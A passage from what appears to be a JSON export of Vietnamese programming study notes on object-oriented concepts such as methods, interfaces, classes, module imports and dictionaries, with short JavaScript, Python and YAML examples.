chưa chạy xong\n\n\nnếu code vậy thì giá trị của `a` là `Promise` mà chứ đâu null nhỉ anh\n\n\n\ntoy cũng ko chắc :V biết sơ sơ à :V console log nó in ra gì\n\n\nin ra promise thì a là promise thôi \n\n\nchắc là null chớ \n\nNguồn:: [Discord](https://discord.com/channels/420246254254030856/420547926146678785/1143149285387550822)\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-09-02T08:12:00.000Z", + "id": "WH" + }, + { + "Tiêu đề": "Hàm vô danh chính là lambda", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/Hàm vô danh chính là lambda", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [Anonymous function - Wikipedia](https://en.wikipedia.org/wiki/Anonymous_function)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WI" + }, + { + "Tiêu đề": "Phương thức cho ta biết mình có thể làm gì với vật thể đó", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/Phương thức cho ta biết mình có thể làm gì với vật thể đó", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nó không phải là vật có thể có những hành vi nào, mà là ta có thể làm gì với nó\r\nNguồn:: [epistemology - Is there any philosophical theory behind the concept of object in computer science? - Philosophy Stack Exchange](https://philosophy.stackexchange.com/questions/99660/is-there-any-philosophical-theory-behind-the-concept-of-object-in-computer-scien/99710?noredirect=1#comment294491_99710)\r\n\r\n[[Phương thức là một thuộc tính của vật thể]], [[Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WJ" + }, + { + "Tiêu đề": "Phương thức là một thuộc tính của vật thể", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/Phương thức là một thuộc tính của vật thể", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "```js\r\nconst obj = {\r\n foo() {\r\n return 'bar';\r\n },\r\n};\r\n\r\nconsole.log(obj.foo());\r\n\t// Expected output: \"bar\"\r\n```\r\nCách viết khác:\r\n```js\r\nconst obj = {\r\n foo: function () {\r\n // …\r\n },\r\n bar: function () {\r\n // …\r\n },\r\n};\r\n\r\n```\r\n[Method - MDN Web Docs Glossary: Definitions of Web-related terms | MDN](https://developer.mozilla.org/en-US/docs/Glossary/Method)\r\nNguồn:: [Method definitions - JavaScript | MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WK" + }, + { + "Tiêu đề": "Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Hàm giúp ta làm một công việc nào đó. Công việc đó có thể liên quan tới một vật thể hoặc không. Còn phương thức chắc chắn phải làm những công việc liên quan tới một vật thể cụ thể. [[Phương thức cho ta biết mình có thể làm gì với vật thể đó]]. \r\n\r\nVí dụ, bạn có một rổ trái cây:\r\n![|300](https://upload.wikimedia.org/wikipedia/commons/thumb/b/b6/A_basket_of_fruits.jpg/600px-A_basket_of_fruits.jpg)\r\n\r\nBạn muốn cân khối lượng từng quả, nên bạn viết một **phương thức** `cân_nặng()` giúp bạn cân chúng:\r\n\r\n```python\r\ntáo.cân_nặng() # Kết quả: 30g\r\nchuối.cân_nặng() # Kết quả: 40g\r\nlê.cân_nặng() # Kết quả: 50g\r\n```\r\n\r\nBạn thấy, dù phương thức `cân_nặng()` không thay đổi, nhưng đối với mỗi một loại trái cây khác nhau sẽ cho một kết quả khác nhau. Phương thức này phải gắn lên một đối tượng cụ thể nào đó để có tác dụng. Bạn phải không thể cân không gì cả được. \r\n\r\nTrong khi đó, nếu bạn muốn biết ngày hôm nay là ngày gì, bạn chỉ cần dùng **hàm** `xem_ngày()`:\r\n\r\n```python\r\nxem_ngày() # Kết quả: \"ngày 32 tháng 13 năm 12023\" \r\n```\r\n\r\nBạn thấy là công việc `xem_ngày()` này không phụ thuộc vào vật thể nào. Dù bạn quyết định là sẽ ăn táo hay ăn lê thì kết quả cũng không thay đổi. Dù bạn không có vật thể nào bạn vẫn có thể xem ngày được. \r\n\r\n[[Phương thức là một thuộc tính của vật thể]] ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WL" + }, + { + "Tiêu đề": "this, self là cách để nói rằng hành động mà phương thức sẽ làm sẽ phải gắn lên một vật thể cụ thể của lớp, thứ mà bây giờ chưa được tạo ra", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/this, self là cách để nói rằng hành động mà phương thức sẽ làm sẽ phải gắn lên một vật thể cụ thể của lớp, thứ mà bây giờ chưa được tạo ra", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng]]\n[[Lớp là một cái khuôn để tạo các vật thể cho nhanh]]\n\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-09-02T14:01:00.000Z", + "id": "WM" + }, + { + "Tiêu đề": "Để tránh phụ thuộc lòng vòng (circular dependency) có thể dùng hàm", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Hàm/Để tránh phụ thuộc lòng vòng (circular dependency) có thể dùng hàm", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "`a.js` (entry module):\r\n\r\n```javascript\r\nimport { b } from \"./b.js\";\r\n\r\nexport const a = 2;\r\n```\r\n\r\n`b.js`:\r\n\r\n```javascript\r\nimport { a } from \"./a.js\";\r\n\r\nconsole.log(a); // ReferenceError: Cannot access 'a' before initialization\r\nexport const b = 1;\r\n```\r\n\r\n# Cách 1\r\n```javascript\r\nfunction a_js() {\r\n var b = b_js(); // unnecessary line\r\n return 2;\r\n}\r\n\r\nfunction b_js() {\r\n var a = a_js();\r\n console.log(a);\r\n return 1;\r\n}\r\n```\r\n# Cách 2\r\n`a.js`:\r\n```javascript\r\nimport { logA, b } from \"./b.js\";\r\n\r\nexport const a = 2;\r\n\r\nlogA();\r\nconsole.log(b);\r\n```\r\n\r\n`b.js`:\r\n```javascript\r\nimport { a } from \"./a.js\";\r\n\r\nexport const b = 1;\r\n\r\nexport function logA() {\r\n console.log(a);\r\n}\r\n```\r\n\r\nNguồn:: [Does importing a module mean embedding the code of the module at the line of the import statement?](https://stackoverflow.com/q/76928950/3416774)\r\n\r\n[[Việc chia các lệnh trong kịch bản thành các hàm nhỏ hơn sẽ giúp dễ bắt lỗi hơn]]\r\n[[Khi import một hàm thì cả file chứa hàm đó sẽ được chạy. Các import của file đó cũng sẽ chạy theo, dù là để import vào một hàm khác mình không import]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-24T05:38:00.000Z", + "id": "WN" + }, + { + "Tiêu đề": "API là giao diện của một chương trình", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Mô đun/API là giao diện của một chương trình", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì]]\r\n[[Cloud, webhook, API]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WO" + }, + { + "Tiêu đề": "Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Mô đun/Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Một cách đại khái, [interface](https://tuhocict.com/lesson/cai-tien-data-acceess-su-dung-interface/) là một giao kèo giữa bên sử dụng và bên thực thi class. Cụ thể hơn, [interface](https://tuhocict.com/giai-phap-winforms-3-interface-loose-coupling/) chứa các mô tả về phương thức và thuộc tính mà bên thực thi class phải xây dựng. Bên sử dụng thì không cần quan tâm đến cách thức xây dựng này.\r\n\r\nLấy một ví dụ khác. Giả sử đèn điện nhà bạn lắp toàn loại đui xoáy. Nếu bạn cần mua bóng đèn, có vô số loại khác nhau, từ đèn sợi đốt đến đèn huỳnh quang, từ hình vuông đến hình tròn. Nhưng chỉ cần nó là đui xoáy thì bạn đều có thể sử dụng được.\r\n\r\nKhi so ra, đui xoáy ở đây chính là một dạng interface, là “giao kèo” giữa người sử dụng bóng đèn và người sản xuất bóng đèn. Người sản xuất chỉ cần đảm bảo “đui xoáy” cho bóng mình làm ra. Người sử dụng thì không cần quan tâm đến cách thức làm ra bóng đèn, miễn sao có đui xoáy là được.\r\n\r\nInterface khi đó được bên sử dụng xem như một kiểu dữ liệu. Biến của kiểu dữ liệu này có thể tương thích với bất kỳ object nào tạo ra từ class thực thi giao diện tương ứng.\r\n\r\nNguồn:: [[tuhocict]], [Bộ nguyên lý SOLID - lập trình viên tương lai cần biết | Tự học ICT](https://tuhocict.com/bo-nguyen-ly-solid-lap-trinh-vien-tuong-lai-can-biet/)\r\n\r\n[[Giao diện là cái khuôn của phương thức]]\r\n[[API là giao diện của một chương trình]] \r\n[[Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WP" + }, + { + "Tiêu đề": "Khi import một hàm thì cả file chứa hàm đó sẽ được chạy. Các import của file đó cũng sẽ chạy theo, dù là để import vào một hàm khác mình không import", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Mô đun/Khi import một hàm thì cả file chứa hàm đó sẽ được chạy. Các import của file đó cũng sẽ chạy theo, dù là để import vào một hàm khác mình không import", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "VD:\n\nNếu:\n- có một mảng được khai báo ở ngoài hàm `main()`, \n- trong hàm mảng đó được thêm thành phần, \n- có một vòng lặp nào đó **ở file khác** gọi `main()`\n\nthì hàm sẽ bị chồng dữ liệu với những dữ liệu ở lần gọi cũ\n[[Để tránh phụ thuộc lòng vòng (circular dependency) có thể dùng hàm]]\n[[Nên tách bạch file util cho client và util cho server]] ", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-17T11:30:00.000Z", + "Ngày cập nhật": "2024-08-24T05:38:00.000Z", + "id": "WQ" + }, + { + "Tiêu đề": "Nên tách bạch file util cho client và util cho server", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Mô đun/Nên tách bạch file util cho client và util cho server", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Lý do:: [[Khi import một hàm thì cả file chứa hàm đó sẽ được chạy. Các import của file đó cũng sẽ chạy theo, dù là để import vào một hàm khác mình không import]]\r\nLý do:: [[Những hàm của môi trường thực thi không chạy được trên trình duyệt]], [[Các hàm được môi trường thực thi cung cấp không hoạt động được ở island]] \r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-24T05:38:00.000Z", + "id": "WR" + }, + { + "Tiêu đề": "Package và library là những cái tên khác nhau cho cùng một thứ", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Mô đun/Package và library là những cái tên khác nhau cho cùng một thứ", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "- Mô đun (module): tập tin `.py`, `.js`, thường mang ý nghĩa cho cùng một chương trình\r\n- Thư viện (library), gói (package): thư mục chứa nhiều mô đun liên quan, thường mang ý nghĩa làm công cụ bổ sung, hỗ trợ cho các chương trình khác\r\n- Framework: cũng là thư viện, nhưng cung cấp cả một cách tư duy mới để viết chương trình\r\n\r\nNguồn:: ![CS50P - Lecture 4 - Libraries - YouTube](https://youtu.be/MztLZWibctI)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WS" + }, + { + "Tiêu đề": "Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Chưa rõ lý do vì sao lại dịch object ra thành đối tượng chứ không phải vật thể", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[Is there any philosophical theory behind the concept of object in computer science?](https://philosophy.stackexchange.com/q/99660/19487)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WT" + }, + { + "Tiêu đề": "Dùng class khi ta có logic nghiệp vụ thực sự cần được implement để thực thi. Dùng interface để tạo ràng buộc kiểu cho biến", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Dùng class khi ta có logic nghiệp vụ thực sự cần được implement để thực thi. Dùng interface để tạo ràng buộc kiểu cho biến", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nguồn:: [[Viblo]], [Typescript: Class, Interface & chúng khác gì với class, interface trong C#, Java (!?)](https://viblo.asia/p/typescript-class-interface-chung-khac-gi-voi-class-interface-trong-c-java-YWOZryzrKQ0)\n[[Nếu dữ liệu không nhất thiết ở dạng vật thể thì type gọn hơn và linh hoạt hơn. Nếu đã xác định dữ liệu cần ở dạng vật thể thì interface sẽ thể hiện tốt ý tưởng của người viết hơn]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-09-02T08:09:00.000Z", + "id": "WU" + }, + { + "Tiêu đề": "Không cần biết vật thể chứa dữ liệu gì, chỉ cần quan tâm nó làm được gì", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Không cần biết vật thể chứa dữ liệu gì, chỉ cần quan tâm nó làm được gì", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài]]\r\n[[Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì]]\r\n[[Giao diện là cái khuôn của phương thức]]\r\nNguồn::![Pong & Object Oriented Programming - Computerphile - YouTube](https://youtu.be/KyTUN6_Z9TM)\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WV" + }, + { + "Tiêu đề": "Lớp là một cái khuôn để tạo các vật thể cho nhanh", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Lớp là một cái khuôn để tạo các vật thể cho nhanh", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "![](http://pytolearn.csd.auth.gr/p0-py/00/classcar.png) \r\nNguồn:: [pytypes](http://pytolearn.csd.auth.gr/p0-py/00/pytypes.html)\r\n```js\r\nconst xeMáy = new Xe('2 bánh')\r\nconst ôTô = new Xe('4 bánh')\r\nconst xeTải = new Xe('12 bánh')\r\n// ^ vật thể ^ Lớp\r\n```\r\n[[Hoạt động trung tâm của lập trình hướng vật thể là phân loại]] \r\nTương tự, [[Giao diện là cái khuôn của phương thức]]\r\n[[Phương thức là một thuộc tính của vật thể]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WW" + }, + { + "Tiêu đề": "Những vật thể đơn giản dùng để tra cứu dữ liệu theo từ khoá gọi là từ điển", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Những vật thể đơn giản dùng để tra cứu dữ liệu theo từ khoá gọi là từ điển", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Nếu tất cả thuộc tính của vật thể đều đơn giản, và vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức, thì nó được gọi là từ điển\r\n\r\nVí dụ, khi khai báo [[Trấn Kỳ — Phân loại thu chi bằng tiếng Việt tự nhiên|Trấn Kỳ]] như sau:\r\n```yaml\r\nKhai báo:\r\n  - Tên chiều: Món đồ    \r\n    Dữ liệu tự nhận dạng:\r\n      - Thức ăn:\r\n          - bún bò\r\n          - bún riêu\r\n  - Tên chiều: Phương thức thanh toán\r\n    Dữ liệu tự nhận dạng:\r\n      - Tiền mặt\r\n          - nợn trả\r\n          - mèo trả\r\n```\r\nThì là bạn đang khai báo một vật thể bình thường. Vật thể này chứa dữ liệu. Để chương trình lấy được dữ liệu cần có, nó áp các phương thức lên vật thể này.\r\n\r\nTrong khi đó, khi chạy chương trình với câu nhập `bún bò cho con 50k nợn trả chợ` và ra được kết quả sau:\r\n```yaml\r\nMón đồ: 'bún bò'\r\nLoại món đồ: 'Thức ăn'\r\nPhương thức thanh toán: 'nợn trả'\r\nLoại phương thức thanh toán: 'Tiền mặt'\r\nNơi mua: 'chợ'\r\nLoại nơi mua: Offline\r\nNgười thụ hưởng: 'con'\r\nLoại người thụ hưởng: 'Gia đình'\r\nSố tiền: '50000'\r\nGhi chú: ''\r\n```\r\n\r\nThì mặc dù đây cũng là một vật thể, nhưng sự phức tạp của nó không còn giống như vật thể ở trên. Nó chỉ được dùng để tra dữ liệu, giống như bạn tra từ điển. Bạn không có ý định thay đổi giá trị trong nó. Nên loại vật thể này được gọi là từ điển.\r\n\r\n[[Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển]]\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WX" + }, + { + "Tiêu đề": "Prototype là những thuộc tính không cần tạo ra cũng có sẵn", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Prototype là những thuộc tính không cần tạo ra cũng có sẵn", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Vật thể được tạo nên bởi những thuộc tính]]\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-09-27T10:16:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WY" + }, + { + "Tiêu đề": "Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Phần giao tiếp (interface) đó sẽ gồm các phương thức. [[Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó]]\r\n[[Không cần biết vật thể chứa dữ liệu gì, chỉ cần quan tâm nó làm được gì]]\r\nNguồn::![Pong & Object Oriented Programming - Computerphile - YouTube](https://youtu.be/KyTUN6_Z9TM)", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "WZ" + }, + { + "Tiêu đề": "Nếu tất cả thuộc tính của vật thể đều đơn giản, và vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức, thì nó được gọi là từ điển", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Từ điển là vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "Ví dụ, khi khai báo [[Trấn Kỳ — Phân loại thu chi bằng tiếng Việt tự nhiên|Trấn Kỳ]] như sau:\r\n```yaml\r\nKhai báo:\r\n  - Tên chiều: Món đồ    \r\n    Dữ liệu tự nhận dạng:\r\n      - Thức ăn:\r\n          - bún bò\r\n          - bún riêu\r\n  - Tên chiều: Phương thức thanh toán\r\n    Dữ liệu tự nhận dạng:\r\n      - Tiền mặt\r\n          - nợn trả\r\n          - mèo trả\r\n```\r\nThì là bạn đang khai báo một vật thể bình thường. Vật thể này chứa dữ liệu. Để chương trình lấy được dữ liệu cần có, nó áp các phương thức lên vật thể này.\r\n\r\nTrong khi đó, khi chạy chương trình với câu nhập `bún bò cho con 50k nợn trả chợ` và ra được kết quả sau:\r\n```yaml\r\nMón đồ: 'bún bò'\r\nLoại món đồ: 'Thức ăn'\r\nPhương thức thanh toán: 'nợn trả'\r\nLoại phương thức thanh toán: 'Tiền mặt'\r\nNơi mua: 'chợ'\r\nLoại nơi mua: Offline\r\nNgười thụ hưởng: 'con'\r\nLoại người thụ hưởng: 'Gia đình'\r\nSố tiền: '50000'\r\nGhi chú: ''\r\n```\r\n\r\nThì mặc dù đây cũng là một vật thể, nhưng sự phức tạp của nó không còn giống như vật thể ở trên. Nó chỉ được dùng để tra dữ liệu, giống như bạn tra từ điển. Bạn không có ý định thay đổi giá trị trong nó. Nên loại vật thể này được gọi là từ điển.\r\n\r\n[[Python tách bạch từ điển và vật thể ngay từ đầu, còn JS mãi về sau mới có từ điển]]\r\n\r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wa" + }, + { + "Tiêu đề": "Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Việc hiển thị nội dung dữ liệu như thế nào là do công cụ quyết định, không phải ngôn ngữ quyết định]]\r\n[[4 đặc điểm của lập trình hướng vật thể]]\r\n[[Giao diện là cách để sử dụng vật thể mà không cần biết bên trong nó có gì]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wb" + }, + { + "Tiêu đề": "Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Vật thể ngoài tự nhiên không chứa hướng dẫn để sử dụng nó. Vật thể trong máy tính có hướng dẫn sử dụng nó", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "[[Phương thức phải gắn lên một vật thể cụ thể nào đó để có tác dụng]]\r\n[[Thay vì ta thao túng trực tiếp dữ liệu, ta điều khiển vật thể qua phần giao tiếp của nó với bên ngoài]] \r\n", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "Wc" + }, + { + "Tiêu đề": "Vật thể được tạo nên bởi những thuộc tính", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Khái niệm cơ bản và nguyên lý lập trình/Khái niệm cơ bản về lập trình hướng vật thể/Vật thể, lớp/Vật thể được tạo nên bởi những thuộc tính", + "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Dự án": { + "Mã dự án": "C2" + }, + "Nội dung bài đăng": { + "Toàn bộ nội dung": "![](https://youtu.be/BRSg22VacUA?si=vlnEtXMkzdZB2hE3) \n\n[[Từ điển là vật thể được dùng để tra cứu dữ liệu theo từ khoá chứ không phải là để thao tác và thay đổi thuộc tính bằng phương thức|Nếu tất cả thuộc tính của vật thể đều đơn giản, 